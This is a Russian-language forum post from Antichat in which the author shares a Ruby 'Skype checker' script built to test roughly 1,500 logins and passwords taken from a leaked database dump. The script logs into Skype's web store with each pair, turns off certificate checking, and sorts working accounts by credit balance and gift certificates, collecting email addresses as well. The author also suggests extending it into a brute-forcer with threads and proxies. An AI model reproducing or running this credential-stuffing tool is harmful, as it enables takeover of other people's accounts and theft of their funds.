ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

rSkypeChecker by geezer.code
  #1  
Старый 21.05.2008, 16:15
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию rSkypeChecker by geezer.code

Привет всем!
Нет на нашем форуме раздела про Руби поэтому пишу в раздел где есть скриптовые языки.

intro

Как-то раз обломился мне очень большой дамп базы, где пользователи оставляли свой skype-name. После экстрагирования логинов и пассов набрался список ~ 1500 записей. Нужно было узнать, подходит ли пароль, и если да, то есть ли деньги на балансе. Чекать их вручную - труд долгий и нудный.
Я порылся в инете и ничего похожего для этой задачи не нашел, только на forum.zloy.org было упоминание о начатой разработке, но результатов не было.
Собственно именно поэтому за час, на коленке был сооружен этот скрипт.

Описание

Скрипт подключается к вэб-интерфесу скайпа, и собирает данные об аккаунте.

Для запуска скрипта требуется установленный интерпретатор Ruby 1.8.* и прямые руки.

Сохраняем скрипт в файл rSkype.rb, в ту же папку складываем source.txt(файл где сложены аккаунты которые надо проверить в формате loginassword, каждый с новой строки).
Запускаем его, например так:
#ruby rSkype.rb

на выходе получаем 3 файла:
valid_gift.txt - с гифт сертификатами
valid_balance.txt - есть деньги на балансе
valid - просто подходит пасс.

в коде много каментов)), если захотите на любой другой яп портировать.
PHP код:
#! /usr/bin/ruby
#==================================================
#
#    rSkypeChecker by geezer.code
#    
#    Author:        geezer.code    
#    Version:        0.0.1
#    Date:        2008/05/21
#
#==================================================

require 'net/http'
require 'net/https'

#распечатка резалтов
def print_result(targetsource)
  
fresult File.new(target"w"
  default = 
$stdout
  $stdout 
fresult          
  source
.each {|r
    
puts r
  
}
  
$stdout = default                     
  
fresult.close
end

#настраиваем соединение и включаем SSL
http Net::HTTP.new('secure.skype.com'443)
http.use_ssl true
http
.verify_mode OpenSSL::SSL::VERIFY_NONE
path 
'/store/member/login.html'

valid=Array.new
valid_balance=Array.new
valid_gift=Array.new
fsource File.open("source.txt")
begin
  
while (value fsource.readline)
    if 
value.any?
      
#value - это данные аккаунта
      
valuevalue.chomp
      
# тут получаем первоначальную куку
      
respdata http.get(pathnil)

      
# устанавливаем куку
      
cookie resp.response['set-cookie']

      
# Данные для post-запроса
      
loginpassword=value.split(":")
      
data "username=#{login}&password=#{password}"
      
headers = {
        
'Cookie' => cookie,
        
'Referer' => "https://secure.skype.com/store/myaccount",
        
'Content-Type' => 'application/x-www-form-urlencoded'
      
}

      
#сам post-запрос
      
respdata http.post(pathdataheaders)

      
# 302 - редирект на страницу аккаунта
      # может быть ищо 200 - не залогинило.
      
if resp.code == '302'
        
#заходим на страницу аккаунта
        
resp=http.get(resp['location'],headers)
        
#ищем строку про гифт-серты
        
gift_cert resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)
        
#ищем строку с балансом
        
balance resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)
        
#e-mail может когда-нить пригодится
        
email resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)
  
        
        
#сортируем гифт отдельно, пустые отдельно, балансы отдельно        
        
if gift_cert.any?        
          
valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
 #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift" 
        
else
          if 
balance.any?
            
valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
 #{balance.to_s.gsub(/<[^>]*>/,"")}" 
          
else
            
valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}" 
          
end
        end
      end
    end
  end
rescue EOFError
  fsource
.close
end

#выводим то што начекали в файл
print_result("valid.txt",valid)
print_result("valid_balance.txt",valid_balance)
print_result("valid_gift.txt",valid_gift
метки: Чекер Скайп аккаунтов, Skype Checker, ruby, руби.


Ссылки по теме:

http://www.ruby-lang.org/en/ -тут можно скачать интерпретатор Руби

http://skype.com - если кто не слышал про скайп )).

P.S. в принимаются замечания и пожелания.
идею можно развить, и модифицировать его под брутер(потоки,прокси итд).
Если это актуально, начну работать над брутером.

P.P.S скрипт цже можно использовать как брутер - достаточно нагенерить список логин - пароль, но всьо же он не оптимизирован.если на пытаться брутить 1 логин - бан. (как и сказал VP$)

Последний раз редактировалось geezer.code; 02.06.2008 в 15:09..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ